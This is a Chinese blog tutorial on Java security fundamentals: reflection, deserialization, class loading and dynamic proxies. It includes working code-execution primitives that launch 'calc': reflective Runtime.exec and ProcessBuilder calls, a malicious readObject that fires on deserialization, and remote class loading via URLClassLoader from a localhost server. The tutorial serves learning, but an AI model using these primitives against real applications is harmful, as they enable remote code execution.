首页 > 编程语言 >Java安全基础知识

Java安全基础知识

时间:2023-08-08 23:25:47浏览次数:45  
标签:Java String public clazz 安全 java 基础知识 class 加载

语雀不充钱出不了网,纯纯跳板,不定时更新。

反射

概念

Java反射机制指的是:

  • 可以创建任意类的对象
  • 可以获取任意对象所属类
  • 可以访问任意类的,任意函数和成员

在Java安全里,我们通常利用这个来控制一些对象的成员、执行一些方法。

获取Class对象

获取Class对象通常是反射的第一步,class对象可以看作“类对象”,至于是哪个类,却决于你创建这个class对象用的哪个类。

  • 类名.class
  • 对象.getClass()
  • Class.forName(全类名)
  • ClassLoader.getSystemClassLoader().loadClass(全类名)

Class对象的方法

利用Class对象的内置方法,可以访问到一个类的各种部分。
Class clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");

方法名 含义 运行结果
clazz.getPackage() 获取clazz所属类的包名 package com.example.demo.reflectdemo
clazz.getDeclaredAnnotations() 获取clazz所属类的所有注解
clazz.getModifiers() 获取clazz所属类的修饰符 public字符串
clazz.getName() 获取clazz所属类的全类名 com.example.demo.reflectdemo.UserInfo
clazz.getSimpleName() 获取clazz所属类的简单类名 UserInfo
clazz.getGenericSuperclass() 获取clazz所属类的超类 class java.lang.Object
clazz.getGenericInterfaces() 获取clazz所属类的实现接口 null
clazz.newInstance() 创建clazz所属类的实例 得到userInfo对象
clazz.getField("age") 获取clazz所属类/父类的Public的age属性 public int xx.xx.UserInfo.age
clazz.getFields() 获取clazz所属类/父类所有Public的属性
clazz.getDeclaredField("age") 获取clazz所属类的age属性,即使私有 private int xx.xx.UserInfo.age
clazz.getDeclaredFields() 获取clazz所属类的所有属性,即使私有
clazz.getMethod("setAge",String.class) 获取clazz所属类/父类的public的setAge方法 public void xx.xx.UserInfo.setName(java.lang.String)
clazz.getMethods() 获取clazz所属类/父类的public的所有方法
clazz.getDeclaredMethod("getName") 获取clazz所属类的getName方法,即使私有 public String xx.xx.UserInfo.getName()
clazz.getDeclaredMethods() 获取clazz所属类的所有方法,即使私有
method.getParameters() 获取传入method所属函数的所有参数 java.lang.String arg0
clazz.getConstructor(String.class,int.class) 获取一个声明为 public 构造函数实例 public xx.xx.UserInfo(java.lang.String,int)
clazz.getConstructors() 获取所有声明为 public 构造函数实例
clazz.getDeclaredConstructor(String.class) 获取一个声明的构造函数实例,即使私有 private xx.xx.UserInfo(java.lang.String)
clazz.getDeclaredConstructors() 获取所有声明的构造函数实例,即使私有
Object user = c1.newInstance("Jasper",22) 利用构造函数实例创建UserInfo实例 获得一个user对象,name=jasper,age=22
clazz.getModifiers() 获取clazz所属类的修饰符的值 1(public)
clazz.getDeclaredField("name").getModifiers() 获取属性的修饰符的值 2(private)
clazz.getDeclaredMethod("setName",String.class).getModifiers() 获取setName方法的修饰符的值 1(public)
Modifier.toString(1) 根据修饰符的值获取对应字符串 public(1)
method.invoke(object, args) 执行object的method方法,传入args参数 等价于object.method(args)

反射实现命令执行

java.lang.Runtime

java.lang.Runtime这个类的构造函数是私有的,所以不能直接newInstance()创建出一个runtime实例。
利用反射执行java.lang.Runtime.getRuntime().exec("calc");的有下面两种

1.通过getMethod

package com.example.demo.codeexec;
import java.lang.reflect.Method;

public class RuntimeGetMethod {
    public static void main(String[] args) throws Exception {
        //想要使用反射调用的方法如下:
        //java.lang.Runtime.getRuntime().exec("calc");

        //获取java.lang.Runtime的类对象
        Class<?> clazz = Class.forName("java.lang.Runtime");

        //获取函数对象
        Method getRuntime = clazz.getMethod("getRuntime");
        Method exec = clazz.getMethod("exec", String.class);

        //调用函数
        // 函数.invoke(函数所属对象, 参数) == 函数所属对象.函数(参数)
        Object runtime = getRuntime.invoke(clazz);
        exec.invoke(runtime,"calc");
    }
}

2.通过getDeclaredMethod

package com.example.demo.codeexec;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class RuntimeGetDeclaredConstructor {
    public static void main(String[] args) throws Exception {
        //获取类对象
        Class<?> clazz = Class.forName("java.lang.Runtime");
        //获取私有构造函数对象c
        Constructor c = clazz.getDeclaredConstructor();
        //设置私有构造函数对象可访问
        c.setAccessible(true);
        //创建出runtime对象
        Object runtime = (Runtime) c.newInstance();
        //获取exec函数对象
        Method execMethod = clazz.getMethod("exec", String.class);
        //invoke调用函数,runtime.exec("calc")
        execMethod.invoke(runtime,"calc");
    }
}

java.lang.ProcessBuilder

利用反射执行Process cmd = new ProcessBuilder(command).start();的方法如下:

package com.example.demo.codeexec;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;

public class ProcessBuilderGetConstructor {
    public static void main(String[] args) throws Exception {
        // 获取到ProcessBuilder类对象
        Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
        //获取ProcessBuilder的构造函数
        Constructor c = clazz.getConstructor(List.class);
        // 创建ProcessBuilder实例,并传入初始参数
        Object processBuilder = c.newInstance(Arrays.asList("calc"));
        //获取start()函数对象
        Method start = clazz.getMethod("start");
        start.invoke(processBuilder);
    }
}

java.lang.ProcessImpl

这个类的命令执行就是反射实现的,代码如下:

package com.example.demo.codeexec;
import java.lang.reflect.Method;
import java.util.Map;

public class ProcessImplExec  {
    public static void main(String[] args)  throws Exception {
        //获取ProcessImpl的类对象
        Class clazz = Class.forName("java.lang.ProcessImpl");
        //获取start函数对象
        Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        //start函数是static的,需要设置访问权限
        startMethod.setAccessible(true);
        //设置start的参数列表
        String[] cmds = new String[]{"calc"};
        //invoke调用,start(cmd)
        Process process = (Process) startMethod.invoke(null,cmds,null,".",null,true);
    }
}

反序列化

思想和php的序列化、反序列化一样,都是对象->字符->对象
注意几个点:

  • 要序列化的类,需要实现java.io.Serializable接口
  • 要序列化的类,里面的属性必须都可以序列化,不可以的需要声明是短暂的
  • 反序列化的方法是可以在类里自定义的
public class HackInfo implements java.io.Serializable{
    public String id;
    public String team;
    
    //这里重写一个readObject,用来自定义反序列化的时候干什么,弹个计算器
        private void readObject(java.io.ObjectInputStream in) throws Exception{
            Runtime.getRuntime().exec("calc");
    }
}

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeDemo {
    public static void main(String[] args) throws IOException {
        HackInfo hacker = new HackInfo();
        hacker.id = "Jasper";
        hacker.team = "星盟安全团队预备队";
    	//文件流转对象流
        FileOutputStream fos = new FileOutputStream("hacker.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //序列化执行writeObject()方法
        os.writeObject(hacker);

        System.out.println("序列化完成...");
    }
}

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeDemo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        HackInfo hacker = null;
        //文件流转对象流
        FileInputStream fis = new FileInputStream("hacker.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        hacker = (HackInfo) ois.readObject();
        
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
        System.out.println("Name: "+ hacker.id );
        System.out.println("Team:" + hacker.team);
    }
}

动态加载

参考链接

全文参考自:https://zhuanlan.zhihu.com/p/567962697
动调和深入理解参考自:https://space.bilibili.com/2142877265/

简介

Java的类加载,大概就是把编译好的*.class文件给加载到内存的过程。
image.png
我们主要关注其中,会引起代码执行的部分:

  • 类初始化时,执行静态代码块和静态方法
  • 类使用(实例化)时,执行构造代码块和构造方法

类加载不同阶段执行的代码

Student类里写好静态代码块、静态方法、构造代码块和构造方法

public class Student {
    private String name;
    static int id;

    static {
        System.out.println("静态代码块");
    }

    public static void staticMethod() {
        System.out.println("静态方法");
    }

    {
        System.out.println("构造代码块");
    }

    public Student() {
        System.out.println("无参构造函数");
    }

    public Student(String name) {
        this.name = name;
        System.out.println("有参构造函数");
    }
}

类的加载与初始化

image.png
image.png
从上面可以看出执行类的初始化操作,只会调用静态代码块。
image.png
这里仅仅是进行了类的加载,并不是初始化,所有什么都没调用。
image.png
这里用Class.forName()加载类,会调用静态代码块,跟进看一下
image.png
发现多个重写的方法forName(),这里第二个参数可选是否初始化,设置成false
image.png
未执行静态代码块,说明只执行了类的加载操作。

类的实例化

image.png
显然实例化需要先初始化,所以要执行静态代码块,然后执行自己的构造代码块。

小总结

  • 类的加载,执不执行代码,看实不实现初始化
  • 类的初始化,执行静态代码块
  • 类的实例化,执行构造代码块

类加载器

分类

一般来说分成bootstrap和非bootstrap两类加载器,其中bootstrap ClassLoader是比较底层的,还存在加载类的白名单。
非bootstrap主要又可以分成Extension ClassLoader、Application ClassLoader、User ClassLoader三类。

  • Bootstrap ClassLoader:加载<JAVA_HOME>/lib下的类
  • Extension ClassLoader:加载<JAVA_HOME>/lib/ext下的类
  • Application ClassLoader:加载程序员自定义的类classpath/
  • User ClassLoader:加载任意来源的类

双亲委派

当一个类加载器要加载类时,会让它的逻辑父亲去加载,层层上传,只有当父亲对应的目录下,找不到这个类对应的字节码文件,才让儿子去加载。
每个类加载器都有属于自己的命名空间,不同的类加载器加载同一个类,却会生成不同的对象,使用双亲委派逻辑就不会出现这个问题,一个类名只会被一个加载器加载
image.png

ClassLoader的运行过程

继承关系如下:
image.png
调试一下加载类加载器加载类的代码:
image.png
首先,因为AppClassLoader里没有一个参数的loadClass(),会走到它的父类抽象类ClassLoader里,然后调用俩参数的loadClass()
image.png
接着走进AppClassLoader的loadClass()
image.png
然后是双亲委派的逻辑,调用父亲的loadClass()重复查询
image.png
在父亲这找到了,层层返回class对象
image.png
image.png
image.png
image.png
函数调用顺序:
loadClass() -> findClass() -> defineClass()

任意类加载

创建一个Calc类用来弹计算器,编译成Calc.class

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

URLClassLoader.loadClass()

public static void urlClassLoaderLoadClass() throws Exception{
    //获取要加载的类的路径
//        URL fileURL = new URL("file:///D:\\Codes\\Java\\testtest\\");
    URL httpURL = new URL("http://localhost:8889/");
//        URL jarURL = new URL("jar:http://localhost:8889/Calc.jar!/");
    //创建一个类加载器
    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{httpURL});
    //加载
    Class clazz = urlClassLoader.loadClass("Calc");
    //实例化
    clazz.newInstance();
}

ClassLoader.defineClass()

public static void classLoaderDefineClass() throws Exception{
    //获取ClassLoader的类对象
    Class loaderClass = ClassLoader.class;
    //获取defineClass()函数对象
    Method defineClassMethod = loaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    //设置访问权限,确保可以反射
    defineClassMethod.setAccessible(true);
    //读出Calc.class的所有字节流
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\loaderDemo\\target\\test-classes\\Calc.class"));
    //通过ClassLoader对象获取systemClassLoader对象
    ClassLoader sysClassLoader = ClassLoader.getSystemClassLoader();
    //调用systemClassLoad的defineClass()方法,这个方法能加载指定类对象
    Class clazz = (Class) defineClassMethod.invoke(sysClassLoader,"Calc",bytes,0,bytes.length);
    //实例化指定的类对象
    clazz.newInstance();
}

这种方法的优点是不用出网,直接把class文件塞过去一股脑读出来就好。
问题是defineClass()是protected方法,在反序列化的场景不能直接反射调用。

Unsafe.defineClass()

这玩意有安全检测,不能直接实例化得到对象,是单例模式(类似Runtime)
好在他类里有现成的属性,存了unsafe对象,叫theUnsafe可以直接拿,
但是theUnsafe又是private的,所以要设置访问权限

public static void unsafeDefineClass() throws Exception{
    //获取Unsafe类
    Class unsafeClass = Unsafe.class;
    //获取theUnsafe属性
    Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
    //设置theUnsafe的访问权限
    theUnsafe.setAccessible(true);
    //强转
    Unsafe unsafe = (Unsafe) theUnsafe.get(null);
    //读出Calc.class的所有字节流
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\\\Codes\\\\Java\\\\testtest\\Calc.class"));
    //通过ClassLoader对象获取systemClassLoader对象
    ClassLoader sysClassLoader = ClassLoader.getSystemClassLoader();
    //加载Calc类
    Class clazz = unsafe.defineClass("Calc",bytes,0,bytes.length,sysClassLoader,null);
    //实例化
    clazz.newInstance();
}

小总结

  • URLClassLoader.loadClass(),可以用不同协议实现任意类加载
  • ClassLoader.defineClass(),通过字节码文件来加载类,方法protected
  • Unsafe.defineClass(),同样用字节码文件来加载类,但类不能直接实例化

动态代理

参考链接

https://darkless.cn/2021/10/28/java-sec-proxy/
https://xz.aliyun.com/t/9197
https://www.bilibili.com/video/BV16h411z7o9/?p=3

概念

类似AOP切面编程,想要强化某个方法,但是又不想改变这个方法;或者是提取重复功能代码,降低复杂度。
image.png

静态代理

  • 委托类和代理类都实现同一个接口
  • 代理类里传入委托类对象,重写接口的的方法,在里面加要加的逻辑,并调用委托类对象.接口方法()
package Static;

public interface Rent {
    public void sale();
}

package Static;

public class RentImpl implements Rent {

    @Override
    public void sale() {
        System.out.println("Sale the house....");
    }
}
package Static;

public class RentProxy implements Rent {
    private Rent target;
    public RentProxy(Rent target){
        this.target = target;
    }
    @Override
    public void sale() {
        System.out.println("Do something before sale....");
        target.sale();
    }
}
package Static;

public class Test {
    public static void main(String[] args) {
        RentImpl rentImpl = new RentImpl();
        RentProxy rentProxy = new RentProxy(rentImpl);
        rentProxy.sale();
    }
}

image.png

动态代理

静态代理不够灵活,于是有了动态代理。

package Dynamic;

public interface Rent {
    public void sale();
}
package Dynamic;

public class RentImpl implements Rent {

    @Override
    public void sale() {
        System.out.println("Sale the house....");
    }
}

下面这个类实现了InvocationHandler接口,增强函数的逻辑就在这个类的invoke()方法里面。
invoke()的特性是:后面创建的代理对象rentProxy调用每个方法都会走进这个invoke()

package Dynamic;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class RentInvocationHandler implements InvocationHandler {
    private Object target;
    public RentInvocationHandler(Object target){
        this.target = target;
    }
    //proxy: 要代理的对象
    //method: 要强化的方法
    //args:   要强化方法的参数
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if(method.getName().equals("sale")){
            System.out.println("do something before sale...");
            Object o =  method.invoke(target,args);
            System.out.println("do something after sale....");
            return o;
        }else {
            return method.invoke(target,args);
        }
    }
}

这里创建rentProxy代理对象的语句基本是固定写法,不用怎么研究。

package Dynamic;

import java.lang.reflect.Proxy;

public class Test {
    public static void main(String[] args) {
        Rent r = new RentImpl();
        RentInvocationHandler rentInvocationHandler = new RentInvocationHandler(r);
        Rent rentProxy = (Rent) Proxy.newProxyInstance(r.getClass().getClassLoader(), r.getClass().getInterfaces(),rentInvocationHandler);
        rentProxy.sale();
    }
}

安全相关

理想状况下,我们希望能找到这样的gadgets链:
image.png
然而实际情况可能是这样的:
image.png
磁石啊,很多人可能以为女神拒绝了自己,实则不然;假设a是个动态代理对象,而a对应的handler实现类里所重写的invoke()方法里又有危险函数,那么就又可以利用了
image.png

标签:Java,String,public,clazz,安全,java,基础知识,class,加载
From: https://www.cnblogs.com/sketchpl4ne/p/17615667.html

相关文章

  • java定时任务中创建多线程却只有一个线程运行的问题
    在定时任务中开启了多线程。。但是却只有第一个线程运行。。原因是?参考:https://www.cnpython.com/java/515558在您的例子中,它是MyRunnable的单个实例,因此当一个线程在synchronized块内执行工作时,所有其他线程将等待工作完成。因此,有效地说,一次只有一个线程在做真正的工作......
  • 【JAVA】强引用、软引用、弱引用、幻象引用有什么区别?
    前言在Java语言中,除了原始数据类型的变量,其他所有都是所谓的引用类型,指向各种不同的对象,理解引用对于掌握Java对象生命周期和JVM内部相关机制非常有帮助。本篇博文的重点是,强引用、软引用、弱引用、幻象引用有什么区别?具体使用场景是什么?概述不同的引用类型,主要体现的是对象......
  • 使用ICTCLAS分词器 Java版
      ICTCLAS分词器 汉语词法分析系统ICTCLAS(InstituteofComputingTechnology,ChineseLexicalAnalysisSystem),主要功能包括中文分词;词性标注;命名实体识别;新词识别;同时支持用户词典。 词是最小的能够独立活动的有意义的语言成分,但汉语是以字为基本的书写单位,词语之间......
  • java读写txt
    新建项目类得到结构如下:TestIo类中的代码:packageTest;importjava.io.BufferedReader;importjava.io.BufferedWriter;importjava.io.File;importjava.io.FileInputStream;importjava.io.FileNotFoundException;importjava.io.FileReader;importjava.io.FileWrite......
  • perl基本语言语法(与java,c#不同的地方积累)
    连接字符串 perl用.  “hello”+"hello" 可用x号 "hello"*3 “hellohellohello”java,c#用+"hello"+"hello"运算符perl等待输入:$line=<STDIN>;或者$line=<>;未定义的字符值undef--不会报错当作数字使用时为0当作字符串使用时为空判断是否为空用defined()数组......
  • 遇到的问题------------时间格式转化时java.text.ParseException: Unparseable date:
    -时间格式转化时java.text.ParseException:Unparseabledate:""异常把String time=2013-09-22用 privatefinalstaticSimpleDateFormatsimpleDateFormat=newSimpleDateFormat("yyyy-MM-ddhh:mm:ss");simpleDateFormat.parse(time.trim()));转化时报错java.text.......
  • java解析json
    {"status":0,"message":"ok","total":2,"results":[{"name":"蓝光COCO金沙","location":{"lat":30.68754......
  • java调用百度地图web服务api-----该方法可用在js跨域请求上
    百度地图Web服务API为开发者提供http接口,即开发者通过http形式发起检索请求,获取返回json或xml格式的检索数据。用户可以基于此开发JavaScript、C#、C++、Java等语言的地图应用。api官网说明链接:http://developer.baidu.com/map/webservice.htm可用接口列举:获取相关地址提示place......
  • Spring-1-深入理解Spring XML中的依赖注入(DI):简化Java应用程序开发
    学习目标前两篇文章我们介绍了什么是Spring,以及Spring的一些核心概念,并且快速快发一个Spring项目,以及详细讲解IOC,今天详细介绍一些DI(依赖注入)能够配置setter方式注入属性值能够配置构造方式注入属性值能够理解什么是自动装配一、依赖注入(DI配置)1依赖注入方式【重点】......
  • Spring-2-深入理解Spring 注解依赖注入(DI):简化Java应用程序开发
    今日目标掌握纯注解开发依赖注入(DI)模式学习使用纯注解进行第三方Bean注入1注解开发依赖注入(DI)【重点】问题导入思考:如何使用注解方式将Bean对象注入到类中1.1使用@Autowired注解开启自动装配模式(按类型)@ServicepublicclassStudentServiceImplimplementsStuden......